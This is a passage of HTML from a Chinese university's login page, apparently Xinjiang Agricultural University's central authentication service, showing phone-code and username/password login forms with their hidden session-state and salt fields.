value="871471a8-666a-4dee-adf6-680f954214b1_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuMWlYR3RubWZKU1NoK0xUTGtnaC90Z1Y3Y2xkYlhqSHo3cGxBc1J6VWdvWkEzeFU2ZEV2c3YxRktWL0pINDhUQjgzRVZtT3lrY2FVdUV5NGQ2S1o1WjBhTWU1K1o1U0tldmN3Z3p6dWdSRlNFbWhzKzZCb0FtalpmWHZYV05Tc2lNdTRUUElObUFDQmp1ekg4RzI2a3F3dXpxbDlHN3NqbThmV25uMjJnSFM4eGJtWWRmb0hQVisvMnE2WUx2QUhWRksxNElJZExSWEIzQjdwM0kvM01ESUNXK3BYd0srajRhbFRLL0FmRk1JNnNpVlVlVGdrL2t2L1EwUExLZU05ak1VMS8wWEU3WnRlZFhRWk5GWHhYUFFBa0tuM1dpR1VHaTIwQmw1eEtJUTR4UkFpOTR1VGlsb2FDcmlHVUFiOG9iWXVFYkJwQnAza29rVENUeG5QWXdFeTVGMTBvRGJiWDUrSVFSUzljcG5uWlZoWGs3d21qZWE0RDMwR3pHcWFwd3o3dDVuZEYvOTh6RWNBbFFkSDV1YkZaQjFORjhsb0JMQ0hoVnd3UGRPNUZhaU54RTBrNXFrdkZ0M3lJZ0lCMURoQng4N21hcU5lNXg5c2JoNnJMcVRpZVJHTGI2YW5yVHVWcm5MSW0vWjJ6Ryt6UWw1Z2hHRTdEaUY5eGIzeDVOck55WUs1UlJDbVh3dlp3U2xjQi94dSswTWJmUU9CaFlMRmdtbUo0QzNSbXRZdnIvVy9GRVlSN0puUGRkZTd5SVJZSDlVeDZCL01RS2UvcnJQY1BkcUNKa2hUZ0E4Y2kvSUpkMCtkYVZoWDJtcjB5OWZPQVR2MnRtLzBoSHFKMUNpMEtmK3ZrUy90YWE1MXBoZ3hWWWRiSFd3Q0FhWWdnbk1tU0pjTnJQZXhUeTBsS2NSN0RmMWhrTy9TV0YwU2J2dVVyWXdReXlLM1BBdkFwSEE5MDRab0dkbU5JYkx3ZDQwbzJKWVh2Z0hUeWFzd214d2M4Ri9tOEh2UTVCQWt3bnBlbzdla1NxclFpdjBGeG1iRDQrVENIN2RucGpZb1ltb3BVVmc1RThTZzI2dzl2Y3dnUURhME5KR0U1Wk1mQTZiZ1QwK0puMDdDUTJkZWMzS0E2c3FQRkFheE96YU5ocGhQazNKVDZWUnFLRU1PMmZKVVpuNndyK2ZBaTh0Yk5rVmhaQ0FnSkFYdDBjZUpjNHhobkRJbGsvdW1xZW4veXBWMUJqc1FDRUQweGhpdVkxa2VRTzZhNUNBejlMUUNBSVdJeW82OTJkTVhSb2VUNldpd2ZObDdTaWFrc3FoOGhwNlNuT1RCalNMUlQ0U21YQndGMUZsZVVUaHJmOXd5QjhQMDgyOGFNd2RSWDkzd3BPcjlQMmdpYkZudVVvM1NXdWIwNmQybEJSbE0xRTA3eit3eTVwVHFkT1lEVWNYN0t5WFo5M2hmT2MrcHlMRHNiZ1JZVTZRUDRMQVkwM3RxcDRWVUExaVlBdnUrTmk1VmFBRGhkdnBvQU9wK1VUTkk1eDJ5TkxHWjRtQ3prRVg4d2lwRThRYWV1YUVRVnlCb2tqd3pLL1VjbC92ZSthU3BlVXYxWVlJMXRiYzc1dXpYNU1hVTE4TDdybm5iTHg4VU1KaFF1cVJzVmZmOUg4V1BtSEd2Q291VUtoVXV6cmlDYXBNZTdUVUp1aXF5MEZaa3p5eVpZV2VyMTJXVHJiTFRCQWsybmpVWDRIT0ttVFp2UHc5dFlJbmc1Q3lFeUdCNExsMDI2M0p0Mnd6Q1dwTWdtaW5aS1o1b2JSL1M4OUlOQmNad2RuWWZNMkdqQkVqYWtoZDhYR3FMZUFQWngydFpLTmdiR2Z0ak9ub2M4N3FkbVBHK290dzdzOWgwakNBTDhCczZ6TXVPc21jMUgzbUxKbmdvZk82b0thUkxMMVI2MzYrTlJxN1k0VlBjVWMvT3NnZnZHNE5KdDRyL2QreTVWNm9lMElWUEh2N0k0WmRFTVZ6RmZzeWFTRllRWmYvMEM1QzdUazdNQjFtbUhSRHpHT1M5WTRnMjJzRWxNSUttaE1abHh6bWhMMGtnazYxMnpCZm9xMTNvMTM5bU4reDVNT3p4c0JpNHJCZG9Fb1BDTU5yRDByTnpMZjUyL2drczhyUXN0c2JFek96czhFNDRiTUNaclN0SEc2MWI3ZnZZLytmMWU1NnRUWVI0eENvQjhnVWM2UkVsZzF5VWFiMU44UEdWZldTVGtUSmtScE9UdkRkVkJIK0liWEFpUlpTOU5iYTNSZC9tY3p1RmFTVHg2a2VtQ0tybkpFWmplNFgveUFxUlJGdlYyR2RndldSMmhEbTF5Mks2K1hTTXhuM21PSnN4Zk1LNXpHY09HN1gvZmF2Z2RHUC9lR1BIUkJTOFNwTU10WEJRcUtsYkVxQ1dLREdHQVp0UmlTQ3FnZFY1dFI1OUh2U2V2WVlTS1JHQTFPdmZJdERBSGd2RXFUL01QMXRQN1h4SzcwaWZUSVg1dVliMWEzRUJWSmNxWkVnZ2lycjN4MzhFTzNJVW9HQVl0MnZsV1kwRkFGaFZqbjNSUHQrdG1OSWlYYTUxZmpNbVhLdUZhZXV1M3owL2xUR3BxVy9McTNFeDYrKzJXUW9JbWkwTE1jSHdJUFVHWWNraXowcmVYVjRVMzVpM2JpQWFZdUdJM1BvakROcmxES3VZVUYvWUdCUkhCTjBxOHFHQUEyQ0VpUHhtQ2tpdWdlaXNUcjZsUGpUQlp4dHdIM1FkK0VxT1hYVWcvclgvOXpYVVlJdUttT214NS90RVNnUG0yTGdSZnF5NkxiY0p6dFZDQUo5WGpWNmg3akV3d3ZjWCtwS0c2QnFkWmFlNHg2MXZNTFZheWs5WnNDbDk4dXBpYUNSWnBZcytubEZ2THJyUkhNRE9BZXlGQit6N0NpcXdUUCthVlZwTzJqWnc5K1B0eHZyN3NMam04MERwWFRrajRtMVJ5SXptTk15RDV1MlhzS1p6aGV4MUdHZGtFbGQrT2NXSzY0VWQ0Ym9hQ3Z4azRhanh0cEd4QS9RMUR3MzdVa3JRdW9NcEZXUFFRSWxFSEYrYS9ERFZFZWJEVE5CTmg4YWlUajQ1RXpYaTNmVmhVUTFsb01LWDJFQ1FUNjN1MVRZcXpFQlhUUXpvYysxeWIwb1ZPcURIOTdpS1NNeUxTSlZVdmk2UW9zQlM4eDF4SmdFSjBFN25reklGNzZ4Yjhpc2JhajZVZFNuQS9UanZML0Vlc2hmaWMzcy84R0tEdnJOa09FTVBIL2ZFRy9yMlhoZlJySk1CbmtkZU03SDZIeW1OV3crandXazIwTW8yalhFSFhIaVh5K1BuQ3Z6aWg1ODc4RGY0cXBiRWlLdXpzYTE1TTZraE9Na2ptYTUvajNLWm55VzdWb2tFNlowWEJRTVlOc0FjOXdUMzRjMWhzYlhUYk0vQkRCcllpUVJDSWhIMXcyZmFGclpsbVN3cUVraVVnaHJYUHVJMjNVZkRYODhzaTlUOHBnZHlFQkk0Yk1pWUZwa0p5eitseVJYRW1SNnhwNXV1TVVLdmxWWGFFekVDaXZmbFV0aEtvOFdQcVg4Y09jdk1vdE84REcyS3BHRkdpbzVxSVJlOGxFeG1tL1NYcXlXc2hmclF1N0d6NXlyTXRoTE9WU1UvSG1pU2E0Qys2bm9VaG1jdVJ3a01vN3JPN3B3ck5GT0h0SjlFcDV0SDhJQmtVSWNUZ0x6YlU2L3U1Nkw2eG03czFYTXhWZSt2QUkxVmFuUU5UbkkzbWZPSlVRMTV4eFoxU1JSdkVVM05Xc3UwMHppYWtCbDcvRFZzUTNKSXIyaUxuOURCT3YydHRPYVJCcHllQ2U5VjZVZ1QwdUNLQjBCQzg3b1Fjb1NPM0FNb3dGTExHWk1xWUFrdXJIZjY1em1MZFFEekwxUi9CWjM3bzhKTmtIQkl3ZUV0QWwzMkhDbCtJUXJsSXROSFdZMklCbU9KaG91YnFxUHR3bWFvRUZsSUFCR28vaGJmZE5CYWpzb3JLYUR2aklyQzFyZklpNjRiSzVPNVVySFp2cklUOS9xUVFCc0JuNVpVbXoxeGloVnNhOVk3SWtsTVhTSTdvNm16TS9UVHM4b1kvL1hPYmVUSmtXS29IZ0R5emRrdXNDcWM3T2xWd01iaFI1bTlNRm5pWTdlMi8xbFZFeWNxWmVyVko0bXpkTnh1Mzl5eERXUHREYWtqVGNJUkFtV3BZcnpsNXZoMVNSdk8wcUZndUh2L08xZmNOZkpMNWN6TGNiN2hmZDZyQ1E5Y3JaQk1vYzVjSEp2WWR4K1UzbXd0TGM3Rm4wVEYxOXJNR3ZZanFoK3RsTGVHM3NrOTVwME40NWd3WkplYkpZTUErMG53L1o1b2h4QjhWcDRTNHBENDdpNnBVQUw0KzRtTFJDUzlMdUVLYlJZTjc4T2RKVzd4NVpYcTJyMERvQXFmNGxIWC96TlFTT1lqc2pYaUtEZEN5enhvbU5JOGtuTHRXOTVwUUNtVVk4dlYycXVXVThjck5XWnJjTk1pajF6YS9od0owQ0tuNlZISXNUMnB3WXl0Q0RPWW53MDJHS2dRL1hJN1RQekZvN2hBbzlVUHVjWHJBQXNHUWJYRWRpbU5xcE15L2FUeGY3Tk5BMmdQQTVrVVNoZjI0eWZhdEJsZG5OTlExa2NlbytMd2JvTWZzd0JkR3ZwaXhsa1IzYzJIRUdmMjh0TmhKNVdDRVRqWVNCOWJaaHRVTnZ4Zkd3NDVOZDdXdWZUY2Z3WlFva1hQNDVQWFJaWXd1OTU4RS90QTAwQmE0WkdPR1FrQ2dhQmxSOVpTNUVGYmN3T2RjZ0RaazB2a1JuMG1RNHloNHJnQmFNYWVQSHpjMm5rUENkTVQrNFplekJEYTlWRlVON3lOOC9jWGZqc0lvNThRUDBxZ3QvM1JRd3V6OEtnZzRoMUx2RytWQ0ZFcitLR0JOWGFxWFZBL1Y3TC9UTHp6SXdlRHpjeXBjc3d5K1hXY2pNa2trb2Jmb3BVV1hIZDlEZFdEL1l2c1hZeGdoamNudTQ3M1A4aTl5NFIybC9mQnM3M213QmwwZGQ4dDY1bzNodVJHR2RsS3NKeTBMRlc3WWVGemQyakRJanB2Mzh6TU1TZkNEUXZaaGVqTDBuYzJGcmJldUZod0RHRXNuNTdPdHdsKzdMREJuR3RVSm5YT0Njb0VyblBjcE5udGhpZkRXSXh3VE1ydDhOc3I0Q0JXbXNjSndjRWVzSmlrMlpMbGFUWHJISHVZRkdES1Y2Um9IdTV4OVFrUDRydXBCQVdNd2dpcW80WnorQlkyenh3bEt2TVFmZ0Uzd0hTeXBxVUVxSVhodks2RWw1VzMxTjBPNW1TcjdWNzRxbTJzMzNxRWg3cG1TUzZQK2VkakdUUzRuRFRjY3ZneGE5NmN0VEd6TlZEV2EwMVF1OEdDTzJZcWZRbis3T3c9PS5yem1yNHViZklZOGdjMjVfb1RHT1h5VF9xMktsamwxQWx2dUxKQWp5dFJyMUJPaTZmSlNEUU1RNzdwcmdIMW9uRmY2MmtVNGc0VlpyVGlnRC1DMURxdw==" /></form>
		<div class="lang_text_ellipsis" style="width:100%;color: red;display: none;" id="showFidoErrorTip">
			<span id="showFidoErrorTipSpan" style="font-size: 14px;"></span>
		</div>
	</div>
</div>
<!-- 手机动态码登录 --><div id="phoneLoginDiv" style="display: none">
    <div>
		<form class="loginFromClass" method="post" id="phoneFromId" action="/authserver/login">
			<div class="form">
				<!-- 动态码登录 --><div class="m-phone">
					<div class="username item" style="overflow: visible;">
						<!-- <p class="account-title pc-mobile">
							<span class="lang_text_ellipsis" th:text="#{ids.mobile.getPwd.mobile}">手机号</span>
							<span class="item" style="position: absolute;">
								<img class="mobile-tip" th:src="@{${#themes.code('custom.static.path')}+'/web/images/question.png'}" height="16px">
								<span class="mobile-tip-prompt mobile-item-show" th:text="#{login.page.mobile.tip}"></span>
							</span>
						</p> --><span class="prex-icon">
							<img src="/authserver/xjauThemenew/customStatic/web/images/user.png" alt=""></span>
						<input type="text" id="username" name="username" class="change-input-color"
							   placeholder="请输入手机号/学号" title="请输入手机号/学号" value=""><div id="nameErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="captcha item" id="captchaDiv">
						<span class="prex-icon">
							<img src="/authserver/xjauThemenew/customStatic/web/images/ver-code.png" alt=""></span>
						<!-- <p id="captchaTitle" class="account-title pc-captcha lang_text_ellipsis" th:text="#{ids.loginView.graph.code}">验证码</p> --><input type="text" id="captcha" name="captcha" autocomplete="off" class="change-input-color"
							   placeholder="请输入验证码" title="请输入验证码" maxlength="10"><span class="captcha-img">
							<img id="captchaImg" alt="验证码错误" height="30px"><a class="mask-inner captcha-refresh" onclick="reloadCaptcha(true)" href="javascript:void(0);">刷新</a>
						</span>
						<div id="captchaErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="code item">
						<!-- <p class="account-title pc-code lang_text_ellipsis" th:text="#{ids.loginView.DynamicCode}">动态码</p>
						<i class="auth_icon auth_icon_bar"></i> --><span class="prex-icon">
							<img src="/authserver/xjauThemenew/customStatic/web/images/password.png" alt=""></span>
						<input type="text" id="dynamicCode" name="dynamicCode" autocomplete="off" class="change-input-color"
							   placeholder="请输入短信验证码" title="请输入短信验证码" maxlength="10"><a class="get-code text_ellipsis" href="javascript:void(0)" onclick="startDynamicCode()" title="获取验证码">
							<span class="change-color">获取验证码</span>
						</a>
						<a class="get-code-tip get-code text_ellipsis" style="display: none;" href="javascript:void(0)" title="后重发">
							<span class="getCodeText change-color">120</span>
							<span style="color: #86909C;">后重发</span>
						</a>
						<div id="dynamicErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
				</div>
			</div>
			<div class="ge-btn">
				<div id="formErrorTip" class="form-errorTip lang_text_ellipsis">
					<span id="showErrorTip" class="form-error"></span>
					<span id="showWarnTip" class="form-warn"></span>&nbsp;
				</div>
				<div class="btn">
					<a id="login_submit" href="javascript:void(0);" class="login-btn change-bg-color" onclick="startLogin(this)">登录</a>
				</div>
			</div>
			<input type="hidden" id="_eventId" name="_eventId" value="submit" /><input type="hidden" id="cllt" name="cllt" value="dynamicLogin"><input type="hidden" id="dllt" name="dllt" value="generalLogin"><input type="hidden" id="lt" name="lt" value="" /><input type="hidden" id="pwdEncryptSalt" value="igo6IaSutwvce0lL" /><input type="hidden" id="execution" name="execution" value="871471a8-666a-4dee-adf6-680f954214b1_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuMWlYR3RubWZKU1NoK0xUTGtnaC90Z1Y3Y2xkYlhqSHo3cGxBc1J6VWdvWkEzeFU2ZEV2c3YxRktWL0pINDhUQjgzRVZtT3lrY2FVdUV5NGQ2S1o1WjBhTWU1K1o1U0tldmN3Z3p6dWdSRlNFbWhzKzZCb0FtalpmWHZYV05Tc2lNdTRUUElObUFDQmp1ekg4RzI2a3F3dXpxbDlHN3NqbThmV25uMjJnSFM4eGJtWWRmb0hQVisvMnE2WUx2QUhWRksxNElJZExSWEIzQjdwM0kvM01ESUNXK3BYd0srajRhbFRLL0FmRk1JNnNpVlVlVGdrL2t2L1EwUExLZU05ak1VMS8wWEU3WnRlZFhRWk5GWHhYUFFBa0tuM1dpR1VHaTIwQmw1eEtJUTR4UkFpOTR1VGlsb2FDcmlHVUFiOG9iWXVFYkJwQnAza29rVENUeG5QWXdFeTVGMTBvRGJiWDUrSVFSUzljcG5uWlZoWGs3d21qZWE0RDMwR3pHcWFwd3o3dDVuZEYvOTh6RWNBbFFkSDV1YkZaQjFORjhsb0JMQ0hoVnd3UGRPNUZhaU54RTBrNXFrdkZ0M3lJZ0lCMURoQng4N21hcU5lNXg5c2JoNnJMcVRpZVJHTGI2YW5yVHVWcm5MSW0vWjJ6Ryt6UWw1Z2hHRTdEaUY5eGIzeDVOck55WUs1UlJDbVh3dlp3U2xjQi94dSswTWJmUU9CaFlMRmdtbUo0QzNSbXRZdnIvVy9GRVlSN0puUGRkZTd5SVJZSDlVeDZCL01RS2UvcnJQY1BkcUNKa2hUZ0E4Y2kvSUpkMCtkYVZoWDJtcjB5OWZPQVR2MnRtLzBoSHFKMUNpMEtmK3ZrUy90YWE1MXBoZ3hWWWRiSFd3Q0FhWWdnbk1tU0pjTnJQZXhUeTBsS2NSN0RmMWhrTy9TV0YwU2J2dVVyWXdReXlLM1BBdkFwSEE5MDRab0dkbU5JYkx3ZDQwbzJKWVh2Z0hUeWFzd214d2M4Ri9tOEh2UTVCQWt3bnBlbzdla1NxclFpdjBGeG1iRDQrVENIN2RucGpZb1ltb3BVVmc1RThTZzI2dzl2Y3dnUURhME5KR0U1Wk1mQTZiZ1QwK0puMDdDUTJkZWMzS0E2c3FQRkFheE96YU5ocGhQazNKVDZWUnFLRU1PMmZKVVpuNndyK2ZBaTh0Yk5rVmhaQ0FnSkFYdDBjZUpjNHhobkRJbGsvdW1xZW4veXBWMUJqc1FDRUQweGhpdVkxa2VRTzZhNUNBejlMUUNBSVdJeW82OTJkTVhSb2VUNldpd2ZObDdTaWFrc3FoOGhwNlNuT1RCalNMUlQ0U21YQndGMUZsZVVUaHJmOXd5QjhQMDgyOGFNd2RSWDkzd3BPcjlQMmdpYkZudVVvM1NXdWIwNmQybEJSbE0xRTA3eit3eTVwVHFkT1lEVWNYN0t5WFo5M2hmT2MrcHlMRHNiZ1JZVTZRUDRMQVkwM3RxcDRWVUExaVlBdnUrTmk1VmFBRGhkdnBvQU9wK1VUTkk1eDJ5TkxHWjRtQ3prRVg4d2lwRThRYWV1YUVRVnlCb2tqd3pLL1VjbC92ZSthU3BlVXYxWVlJMXRiYzc1dXpYNU1hVTE4TDdybm5iTHg4VU1KaFF1cVJzVmZmOUg4V1BtSEd2Q291VUtoVXV6cmlDYXBNZTdUVUp1aXF5MEZaa3p5eVpZV2VyMTJXVHJiTFRCQWsybmpVWDRIT0ttVFp2UHc5dFlJbmc1Q3lFeUdCNExsMDI2M0p0Mnd6Q1dwTWdtaW5aS1o1b2JSL1M4OUlOQmNad2RuWWZNMkdqQkVqYWtoZDhYR3FMZUFQWngydFpLTmdiR2Z0ak9ub2M4N3FkbVBHK290dzdzOWgwakNBTDhCczZ6TXVPc21jMUgzbUxKbmdvZk82b0thUkxMMVI2MzYrTlJxN1k0VlBjVWMvT3NnZnZHNE5KdDRyL2QreTVWNm9lMElWUEh2N0k0WmRFTVZ6RmZzeWFTRllRWmYvMEM1QzdUazdNQjFtbUhSRHpHT1M5WTRnMjJzRWxNSUttaE1abHh6bWhMMGtnazYxMnpCZm9xMTNvMTM5bU4reDVNT3p4c0JpNHJCZG9Fb1BDTU5yRDByTnpMZjUyL2drczhyUXN0c2JFek96czhFNDRiTUNaclN0SEc2MWI3ZnZZLytmMWU1NnRUWVI0eENvQjhnVWM2UkVsZzF5VWFiMU44UEdWZldTVGtUSmtScE9UdkRkVkJIK0liWEFpUlpTOU5iYTNSZC9tY3p1RmFTVHg2a2VtQ0tybkpFWmplNFgveUFxUlJGdlYyR2RndldSMmhEbTF5Mks2K1hTTXhuM21PSnN4Zk1LNXpHY09HN1gvZmF2Z2RHUC9lR1BIUkJTOFNwTU10WEJRcUtsYkVxQ1dLREdHQVp0UmlTQ3FnZFY1dFI1OUh2U2V2WVlTS1JHQTFPdmZJdERBSGd2RXFUL01QMXRQN1h4SzcwaWZUSVg1dVliMWEzRUJWSmNxWkVnZ2lycjN4MzhFTzNJVW9HQVl0MnZsV1kwRkFGaFZqbjNSUHQrdG1OSWlYYTUxZmpNbVhLdUZhZXV1M3owL2xUR3BxVy9McTNFeDYrKzJXUW9JbWkwTE1jSHdJUFVHWWNraXowcmVYVjRVMzVpM2JpQWFZdUdJM1BvakROcmxES3VZVUYvWUdCUkhCTjBxOHFHQUEyQ0VpUHhtQ2tpdWdlaXNUcjZsUGpUQlp4dHdIM1FkK0VxT1hYVWcvclgvOXpYVVlJdUttT214NS90RVNnUG0yTGdSZnF5NkxiY0p6dFZDQUo5WGpWNmg3akV3d3ZjWCtwS0c2QnFkWmFlNHg2MXZNTFZheWs5WnNDbDk4dXBpYUNSWnBZcytubEZ2THJyUkhNRE9BZXlGQit6N0NpcXdUUCthVlZwTzJqWnc5K1B0eHZyN3NMam04MERwWFRrajRtMVJ5SXptTk15RDV1MlhzS1p6aGV4MUdHZGtFbGQrT2NXSzY0VWQ0Ym9hQ3Z4azRhanh0cEd4QS9RMUR3MzdVa3JRdW9NcEZXUFFRSWxFSEYrYS9ERFZFZWJEVE5CTmg4YWlUajQ1RXpYaTNmVmhVUTFsb01LWDJFQ1FUNjN1MVRZcXpFQlhUUXpvYysxeWIwb1ZPcURIOTdpS1NNeUxTSlZVdmk2UW9zQlM4eDF4SmdFSjBFN25reklGNzZ4Yjhpc2JhajZVZFNuQS9UanZML0Vlc2hmaWMzcy84R0tEdnJOa09FTVBIL2ZFRy9yMlhoZlJySk1CbmtkZU03SDZIeW1OV3crandXazIwTW8yalhFSFhIaVh5K1BuQ3Z6aWg1ODc4RGY0cXBiRWlLdXpzYTE1TTZraE9Na2ptYTUvajNLWm55VzdWb2tFNlowWEJRTVlOc0FjOXdUMzRjMWhzYlhUYk0vQkRCcllpUVJDSWhIMXcyZmFGclpsbVN3cUVraVVnaHJYUHVJMjNVZkRYODhzaTlUOHBnZHlFQkk0Yk1pWUZwa0p5eitseVJYRW1SNnhwNXV1TVVLdmxWWGFFekVDaXZmbFV0aEtvOFdQcVg4Y09jdk1vdE84REcyS3BHRkdpbzVxSVJlOGxFeG1tL1NYcXlXc2hmclF1N0d6NXlyTXRoTE9WU1UvSG1pU2E0Qys2bm9VaG1jdVJ3a01vN3JPN3B3ck5GT0h0SjlFcDV0SDhJQmtVSWNUZ0x6YlU2L3U1Nkw2eG03czFYTXhWZSt2QUkxVmFuUU5UbkkzbWZPSlVRMTV4eFoxU1JSdkVVM05Xc3UwMHppYWtCbDcvRFZzUTNKSXIyaUxuOURCT3YydHRPYVJCcHllQ2U5VjZVZ1QwdUNLQjBCQzg3b1Fjb1NPM0FNb3dGTExHWk1xWUFrdXJIZjY1em1MZFFEekwxUi9CWjM3bzhKTmtIQkl3ZUV0QWwzMkhDbCtJUXJsSXROSFdZMklCbU9KaG91YnFxUHR3bWFvRUZsSUFCR28vaGJmZE5CYWpzb3JLYUR2aklyQzFyZklpNjRiSzVPNVVySFp2cklUOS9xUVFCc0JuNVpVbXoxeGloVnNhOVk3SWtsTVhTSTdvNm16TS9UVHM4b1kvL1hPYmVUSmtXS29IZ0R5emRrdXNDcWM3T2xWd01iaFI1bTlNRm5pWTdlMi8xbFZFeWNxWmVyVko0bXpkTnh1Mzl5eERXUHREYWtqVGNJUkFtV3BZcnpsNXZoMVNSdk8wcUZndUh2L08xZmNOZkpMNWN6TGNiN2hmZDZyQ1E5Y3JaQk1vYzVjSEp2WWR4K1UzbXd0TGM3Rm4wVEYxOXJNR3ZZanFoK3RsTGVHM3NrOTVwME40NWd3WkplYkpZTUErMG53L1o1b2h4QjhWcDRTNHBENDdpNnBVQUw0KzRtTFJDUzlMdUVLYlJZTjc4T2RKVzd4NVpYcTJyMERvQXFmNGxIWC96TlFTT1lqc2pYaUtEZEN5enhvbU5JOGtuTHRXOTVwUUNtVVk4dlYycXVXVThjck5XWnJjTk1pajF6YS9od0owQ0tuNlZISXNUMnB3WXl0Q0RPWW53MDJHS2dRL1hJN1RQekZvN2hBbzlVUHVjWHJBQXNHUWJYRWRpbU5xcE15L2FUeGY3Tk5BMmdQQTVrVVNoZjI0eWZhdEJsZG5OTlExa2NlbytMd2JvTWZzd0JkR3ZwaXhsa1IzYzJIRUdmMjh0TmhKNVdDRVRqWVNCOWJaaHRVTnZ4Zkd3NDVOZDdXdWZUY2Z3WlFva1hQNDVQWFJaWXd1OTU4RS90QTAwQmE0WkdPR1FrQ2dhQmxSOVpTNUVGYmN3T2RjZ0RaazB2a1JuMG1RNHloNHJnQmFNYWVQSHpjMm5rUENkTVQrNFplekJEYTlWRlVON3lOOC9jWGZqc0lvNThRUDBxZ3QvM1JRd3V6OEtnZzRoMUx2RytWQ0ZFcitLR0JOWGFxWFZBL1Y3TC9UTHp6SXdlRHpjeXBjc3d5K1hXY2pNa2trb2Jmb3BVV1hIZDlEZFdEL1l2c1hZeGdoamNudTQ3M1A4aTl5NFIybC9mQnM3M213QmwwZGQ4dDY1bzNodVJHR2RsS3NKeTBMRlc3WWVGemQyakRJanB2Mzh6TU1TZkNEUXZaaGVqTDBuYzJGcmJldUZod0RHRXNuNTdPdHdsKzdMREJuR3RVSm5YT0Njb0VyblBjcE5udGhpZkRXSXh3VE1ydDhOc3I0Q0JXbXNjSndjRWVzSmlrMlpMbGFUWHJISHVZRkdES1Y2Um9IdTV4OVFrUDRydXBCQVdNd2dpcW80WnorQlkyenh3bEt2TVFmZ0Uzd0hTeXBxVUVxSVhodks2RWw1VzMxTjBPNW1TcjdWNzRxbTJzMzNxRWg3cG1TUzZQK2VkakdUUzRuRFRjY3ZneGE5NmN0VEd6TlZEV2EwMVF1OEdDTzJZcWZRbis3T3c9PS5yem1yNHViZklZOGdjMjVfb1RHT1h5VF9xMktsamwxQWx2dUxKQWp5dFJyMUJPaTZmSlNEUU1RNzdwcmdIMW9uRmY2MmtVNGc0VlpyVGlnRC1DMURxdw==" /></form>
	</div>
</div>
<!-- 用户名密码登录 --><div id="pwdLoginDiv" style="display: none">
    <div>
		<form class="loginFromClass" method="post" id="pwdFromId" action="/authserver/login">
			<div class="form">
				<!-- 用户名密码登录 --><div class="m-account">
					<div class="username item">
						<span class="prex-icon">
							<img src="/authserver/xjauThemenew/customStatic/web/images/user.png" alt=""></span>
						<!-- <p class="account-title pc-name lang_text_ellipsis" th:text="#{ids.loginView.username}">用户名</p> --><input id="username" name="username" type="text" class="change-input-color"
							onfocusout="checkUserCaptcha()"
							placeholder="请输入学号/工号" title="请输入学号/工号" value=""><div id="nameErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="password item">
						<span class="prex-icon">
							<img src="/authserver/xjauThemenew/customStatic/web/images/password.png" alt=""></span>
						<!-- <p class="account-title pc-pass lang_text_ellipsis" th:text="#{ids.loginView.password}">密码</p> --><input id="password" name="passwordText" type="password"
							class="change-input-color no-auto-input" readonly placeholder="请输入密码"
							title="请输入密码" maxlength="32"><input id="saltPassword" name="password" type="hidden"><a class="ge-input-eye eye-hide"></a>
						<div id="pwdErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="captcha item hide" id="captchaDiv">
						<span class="prex-icon">
							<img src="/authserver/xjauThemenew/customStatic/web/images/ver-code.png" alt=""></span>
						<!-- <p id="captchaTitle" class="account-title pc-captcha lang_text_ellipsis hide" th:text="#{ids.mobile.password.code}">验证码</p> --><input type="text" id="captcha" name="captcha" autocomplete="off" class="change-input-color"
							placeholder="请输入验证码" title="请输入验证码"
							maxlength="10"><span class="captcha-img">
							<img id="captchaImg" alt="验证码错误" height="30px"><a class="mask-inner captcha-refresh" onclick="reloadCaptcha(true)"
								href="javascript:void(0);">刷新</a>
						</span>
						<div id="captchaErrorTip" class="item-error-tip lang_text_ellipsis"></div>
					</div>
					<div class="flex-dz">
						<div id="myRememberMe" class="m-rememberMe lang_text_ellipsis">
							<input type="checkbox" name="rememberMe" id="rememberMe" value="true"
								style="transform: translateY(2px);width:15px;margin-right:5px;" /><span style="font-size: 12px">7天免登录</span>
							<!-- <div id="rememberMeTipDiv"
								style="margin-left:6px;position: relative;z-index:100;display: inline-block;min-width: 30px;min-height: 10px;vertical-align: middle;">
								<img id="rememberMeTip" style="width: 16px;height: 16px;transform: translateY(-2px);"
									th:src="@{${#themes.code('static.path')}+'/web/images/question.svg'}" />
								<div class="bubbleTip" id="bubbleTipContainer" style="position: absolute;"
									th:text="#{login.type.remember.tip}">开启后7天内无需再次登录，主动退出登录 或使用浏览器无痕模式访问，此功能失效</div>
							</div> --></div>
						<a id="retrievePassId" href="../retrieve-password/retrievePassword/index.html"
							class="fo-password lang_text_ellipsis">忘记密码</a>
					</div>

					<div style="clear: both"></div>
				</div>
				<div class="ge-btn">
					<div id="formErrorTip" class="form-errorTip lang_text_ellipsis">
						<span id="showErrorTip" class="form-error"></span>
						<span id="showWarnTip" class="form-warn"></span>
					</div>
					<div class="btn">
						<a id="login_submit" href="javascript:void(0);" class="login-btn change-bg-color"
							onclick="startLogin(this)">登录</a>
					</div>
				</div>
			</div>
			<input type="hidden" id="_eventId" name="_eventId" value="submit" /><input type="hidden" id="cllt" name="cllt" value="userNameLogin"><input type="hidden" id="dllt" name="dllt" value="generalLogin"><input type="hidden" id="lt" name="lt" value="" /><input type="hidden" id="pwdEncryptSalt" value="igo6IaSutwvce0lL" /><input type="hidden" id="execution" name="execution" value="871471a8-666a-4dee-adf6-680f954214b1_ZXlKaGJHY2lPaUpJVXpVeE1pSjkuMWlYR3RubWZKU1NoK0xUTGtnaC90Z1Y3Y2xkYlhqSHo3cGxBc1J6VWdvWkEzeFU2ZEV2c3YxRktWL0pINDhUQjgzRVZtT3lrY2FVdUV5NGQ2S1o1WjBhTWU1K1o1U0tldmN3Z3p6dWdSRlNFbWhzKzZCb0FtalpmWHZYV05Tc2lNdTRUUElObUFDQmp1ekg4RzI2a3F3dXpxbDlHN3NqbThmV25uMjJnSFM4eGJtWWRmb0hQVisvMnE2WUx2QUhWRksxNElJZExSWEIzQjdwM0kvM01ESUNXK3BYd0srajRhbFRLL0FmRk1JNnNpVlVlVGdrL2t2L1EwUExLZU05ak1VMS8wWEU3WnRlZFhRWk5GWHhYUFFBa0tuM1dpR1VHaTIwQmw1eEtJUTR4UkFpOTR1VGlsb2FDcmlHVUFiOG9iWXVFYkJwQnAza29rVENUeG5QWXdFeTVGMTBvRGJiWDUrSVFSUzljcG5uWlZoWGs3d21qZWE0RDMwR3pHcWFwd3o3dDVuZEYvOTh6RWNBbFFkSDV1YkZaQjFORjhsb0JMQ0hoVnd3UGRPNUZha